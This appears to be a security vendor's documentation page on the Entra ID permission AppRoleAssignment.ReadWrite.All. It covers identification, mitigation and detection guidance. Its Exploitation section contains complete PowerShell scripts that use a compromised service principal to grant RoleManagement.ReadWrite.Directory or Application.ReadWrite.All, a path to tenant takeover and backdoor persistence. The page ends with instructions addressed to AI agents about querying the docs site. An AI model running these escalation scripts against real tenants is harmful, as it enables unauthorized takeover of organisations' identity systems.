# AZ\_MG\_APPROLEASSIGNMENT\_READWRITE\_ALL

## Summary

|                               |                                                         |
| ----------------------------- | ------------------------------------------------------- |
| **FSProtect ACL Alias**       | AZ\_MG\_APPROLEASSIGNMENT\_READWRITE\_ALL               |
| **Entra ID (Azure AD) Alias** | AppRoleAssignment.ReadWrite.All                         |
| **Affected Object Types**     | Service Principals, Applications                        |
| **Exploitation Certainty**    | Certain                                                 |
| **Graph Permission / Role**   | Application Permission: AppRoleAssignment.ReadWrite.All |

## Description

`AZ_MG_APPROLEASSIGNMENT_READWRITE_ALL` represents a Microsoft Graph application permission that grants **read and write access to application role assignments** in Microsoft Entra ID (Azure AD). This is one of the most dangerous permissions because it allows:

* **Grant application permissions** to any service principal for any API (including Microsoft Graph)
* **Remove application permissions** from any service principal
* **Assign app roles** to users, groups, and service principals for any application
* **Manage consent grants** for application permissions across the tenant

This permission is often abused for:

* **Privilege escalation**: Granting dangerous permissions like `RoleManagement.ReadWrite.Directory` or `Application.ReadWrite.All` to an attacker-controlled service principal
* **Persistence**: Creating service principals with high-privilege permissions that persist beyond user sessions
* **Lateral movement**: Granting permissions to access other APIs and applications in the tenant
* **Defense evasion**: Removing permissions from security monitoring applications

**Important**: This is an **application permission** that requires admin consent and is granted to service principals, not individual users. Once granted, the service principal can perform these actions without additional user context.

**Critical Warning**: With `AppRoleAssignment.ReadWrite.All`, an application can grant itself or any other service principal **any Microsoft Graph permission**, including `RoleManagement.ReadWrite.Directory` (which can then assign Global Administrator). This creates a path to complete tenant takeover.

**Key Difference from Application.ReadWrite.All**: While `Application.ReadWrite.All` allows creating and modifying applications and service principals, `AppRoleAssignment.ReadWrite.All` specifically controls which permissions are granted to those applications. Both are dangerous, but `AppRoleAssignment.ReadWrite.All` is the key to granting dangerous permissions.

## Identification

### PowerShell

#### Find Service Principals with AppRoleAssignment.ReadWrite.All

```powershell
Install-Module Microsoft.Graph -Scope CurrentUser
Import-Module Microsoft.Graph.Applications

Connect-MgGraph -Scopes "Application.Read.All", "AppRoleAssignment.Read.All"

$permissionId = "06b708a9-e830-4db3-a914-8e69da51d44f"  # AppRoleAssignment.ReadWrite.All GUID
$graphAppId = "00000003-0000-0000-c000-000000000000"  # Microsoft Graph App ID

# Get Microsoft Graph service principal
$graphSp = Get-MgServicePrincipal -Filter "appId eq '$graphAppId'"
if (-not $graphSp) { throw "Microsoft Graph service principal not found." }

# Get all app role assignments granted TO Microsoft Graph (much faster than iterating all SPs)
$allAssignments = Get-MgServicePrincipalAppRoleAssignedTo -ServicePrincipalId $graphSp.Id -All

# Filter for AppRoleAssignment.ReadWrite.All
$matchingAssignments = $allAssignments | Where-Object { $_.AppRoleId -eq $permissionId }

$results = $matchingAssignments | ForEach-Object {
    [PSCustomObject]@{
        ServicePrincipalName = $_.PrincipalDisplayName
        ServicePrincipalId   = $_.PrincipalId
        PermissionName       = "AppRoleAssignment.ReadWrite.All"
        PermissionId         = $permissionId
        ResourceId           = $_.ResourceId
        AssignedDateTime     = $_.CreatedDateTime
    }
}

Write-Host "Found $($results.Count) service principals with AppRoleAssignment.ReadWrite.All"
$results | Export-Csv -Path ".\AppRoleAssignmentReadWriteAll_ServicePrincipals.csv" -NoTypeInformation -Encoding UTF8
$results | Format-Table -AutoSize
```

## Exploitation

An attacker with access to a service principal that has `AppRoleAssignment.ReadWrite.All` can grant any Microsoft Graph permission to any service principal, enabling privilege escalation.

### Grant RoleManagement.ReadWrite.Directory to Attacker Service Principal

```powershell
Import-Module Microsoft.Graph.Applications

# Authenticate as the compromised service principal
$tenantId = "<tenant-id>"
$appId = "<compromised-app-id>"
$clientSecret = "<client-secret>"

$secureSecret = ConvertTo-SecureString $clientSecret -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($appId, $secureSecret)
Connect-MgGraph -ClientSecretCredential $credential -TenantId $tenantId

# RoleManagement.ReadWrite.Directory permission ID
$roleManagementPermissionId = "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8"

# Microsoft Graph App ID (constant)
$graphAppId = "00000003-0000-0000-c000-000000000000"

# Target application display name
$targetDisplayName = "<target-app-display-name>"

# Get target application object ID (App Registration) automatically
$targetApp = Get-MgApplication -Filter "displayName eq '$targetDisplayName'"
if (-not $targetApp) { throw "Application '$targetDisplayName' not found." }
$targetAppId = $targetApp.Id

# Get target service principal object ID (Enterprise Application) automatically
$targetSp = Get-MgServicePrincipal -Filter "displayName eq '$targetDisplayName'"
if (-not $targetSp) { throw "Service principal '$targetDisplayName' not found." }
$targetSpId = $targetSp.Id

# Get Microsoft Graph service principal object ID automatically
$graphSp = Get-MgServicePrincipal -Filter "appId eq '$graphAppId'"
if (-not $graphSp) { throw "Microsoft Graph service principal not found." }
$msgraphId = $graphSp.Id

Write-Output "Target App Registration: $targetAppId"
Write-Output "Target Service Principal: $targetSpId"

# Step 1: Add permission to configured permissions (App Registration)
$app = Get-MgApplication -ApplicationId $targetAppId
$existingAccess = $app.RequiredResourceAccess | Where-Object { $_.ResourceAppId -eq $graphAppId }

if ($existingAccess) {
    # Add to existing Microsoft Graph permissions
    $newRole = @{ Id = $roleManagementPermissionId; Type = "Role" }
    $existingAccess.ResourceAccess += $newRole
    Update-MgApplication -ApplicationId $targetAppId -RequiredResourceAccess $app.RequiredResourceAccess
} else {
    # Create new Microsoft Graph permission entry
    $newAccess = @{
        ResourceAppId = $graphAppId
        ResourceAccess = @(
            @{ Id = $roleManagementPermissionId; Type = "Role" }
        )
    }
    $allAccess = @($app.RequiredResourceAccess) + $newAccess
    Update-MgApplication -ApplicationId $targetAppId -RequiredResourceAccess $allAccess
}
Write-Output "Permission added to configured permissions"

# Step 2: Grant admin consent (App Role Assignment)
$params = @{
    PrincipalId = $targetSpId
    ResourceId  = $msgraphId
    AppRoleId   = $roleManagementPermissionId
}

$assignment = New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $targetSpId -BodyParameter $params
Write-Output "Admin consent granted: $($assignment.Id)"
```

![Grant RoleManagement.ReadWrite.Directory](/files/8L6vRN97ScseEsidfr0l)

### Grant Application.ReadWrite.All to Create Persistent Backdoor

```powershell
# Application.ReadWrite.All permission ID
$appReadWritePermissionId = "1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9"

# Microsoft Graph App ID (constant)
$graphAppId = "00000003-0000-0000-c000-000000000000"

# Target application display name
$targetDisplayName = "<target-app-display-name>"

# Get target application object ID (App Registration) automatically
$targetApp = Get-MgApplication -Filter "displayName eq '$targetDisplayName'"
if (-not $targetApp) { throw "Application '$targetDisplayName' not found." }
$targetAppId = $targetApp.Id

# Get target service principal object ID (Enterprise Application) automatically
$targetSp = Get-MgServicePrincipal -Filter "displayName eq '$targetDisplayName'"
if (-not $targetSp) { throw "Service principal '$targetDisplayName' not found." }
$targetSpId = $targetSp.Id

# Get Microsoft Graph service principal object ID automatically
$graphSp = Get-MgServicePrincipal -Filter "appId eq '$graphAppId'"
if (-not $graphSp) { throw "Microsoft Graph service principal not found." }
$msgraphId = $graphSp.Id

Write-Output "Target App Registration: $targetAppId"
Write-Output "Target Service Principal: $targetSpId"

# Step 1: Add permission to configured permissions (App Registration)
$app = Get-MgApplication -ApplicationId $targetAppId
$existingAccess = $app.RequiredResourceAccess | Where-Object { $_.ResourceAppId -eq $graphAppId }

if ($existingAccess) {
    # Add to existing Microsoft Graph permissions
    $newRole = @{ Id = $appReadWritePermissionId; Type = "Role" }
    $existingAccess.ResourceAccess += $newRole
    Update-MgApplication -ApplicationId $targetAppId -RequiredResourceAccess $app.RequiredResourceAccess
} else {
    # Create new Microsoft Graph permission entry
    $newAccess = @{
        ResourceAppId = $graphAppId
        ResourceAccess = @(
            @{ Id = $appReadWritePermissionId; Type = "Role" }
        )
    }
    $allAccess = @($app.RequiredResourceAccess) + $newAccess
    Update-MgApplication -ApplicationId $targetAppId -RequiredResourceAccess $allAccess
}
Write-Output "Permission added to configured permissions"

# Step 2: Grant admin consent (App Role Assignment)
$params = @{
    PrincipalId = $targetSpId
    ResourceId  = $msgraphId
    AppRoleId   = $appReadWritePermissionId
}

$assignment = New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $targetSpId -BodyParameter $params
Write-Output "Admin consent granted: $($assignment.Id)"
```

![Grant Application.ReadWrite.All](/files/lr7nijHKz27r6lw9fHKt)

## Mitigation

* **Audit all service principals** with `AppRoleAssignment.ReadWrite.All` and remove unnecessary grants.
  * Go to **Microsoft Entra ID** -> **App registrations** -> select the application -> **API permissions**.
  * Remove the `AppRoleAssignment.ReadWrite.All` permission if not required.
* **Apply least privilege**: This permission should almost never be granted to applications.
  * Use more specific permissions when possible.
  * Use delegated permissions with user context when appropriate.
* **Monitor permission grant changes**:
  * Enable Azure AD audit logs and alert on app role assignment changes.
  * Configure Microsoft Defender for Cloud Apps to detect suspicious permission modifications.
* **Protect the permission grant process**:
  * Require multiple approvals for granting this permission.
  * Document business justification for any application requiring this permission.
* **Implement Access Reviews** for applications with high-privilege permissions:
  * Go to **Identity Governance** -> **Access Reviews** -> **New access review**.
  * Review applications with sensitive Graph permissions regularly.
* **Use Conditional Access** to restrict service principal access:
  * Limit the locations and conditions under which service principals can authenticate.
  * Consider blocking service principals with this permission from non-trusted locations.

## Detection

Detect permission grants and suspicious app role assignment activity in **Audit logs**.

* Go to **Microsoft Entra ID** -> **Audit logs**.
* Filter by activities:
  * **Add app role assignment to service principal** (permission granted to SP)
  * **Remove app role assignment from service principal** (permission removed from SP)
  * **Add app role assignment grant to user** (app role assigned to user)

Monitor for suspicious patterns:

* Permission grants made by service principals (especially dangerous permissions like RoleManagement.ReadWrite.Directory)
* Bulk permission changes
* Permission grants outside of change management windows
* Removal of permissions from security or monitoring applications
* Self-granting of permissions by service principals

## References

* [Microsoft Graph Permissions Reference - AppRoleAssignment.ReadWrite.All](https://learn.microsoft.com/en-us/graph/permissions-reference#approleassignmentreadwriteall)
* [Microsoft Graph API - Grant an appRoleAssignment](https://learn.microsoft.com/en-us/graph/api/serviceprincipal-post-approleassignments)
* [Microsoft Graph API - List appRoleAssignments](https://learn.microsoft.com/en-us/graph/api/serviceprincipal-list-approleassignments)
* [Securing workload identities with Microsoft Entra ID](https://learn.microsoft.com/en-us/entra/workload-id/workload-identities-overview)
* [BloodHound - AZMGAppRoleAssignment\_ReadWrite\_All](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html)
* [ROADtools - Azure AD Exploration Framework](https://github.com/dirkjanm/ROADtools)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/azure/az_mg_approleassignment_readwrite_all.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
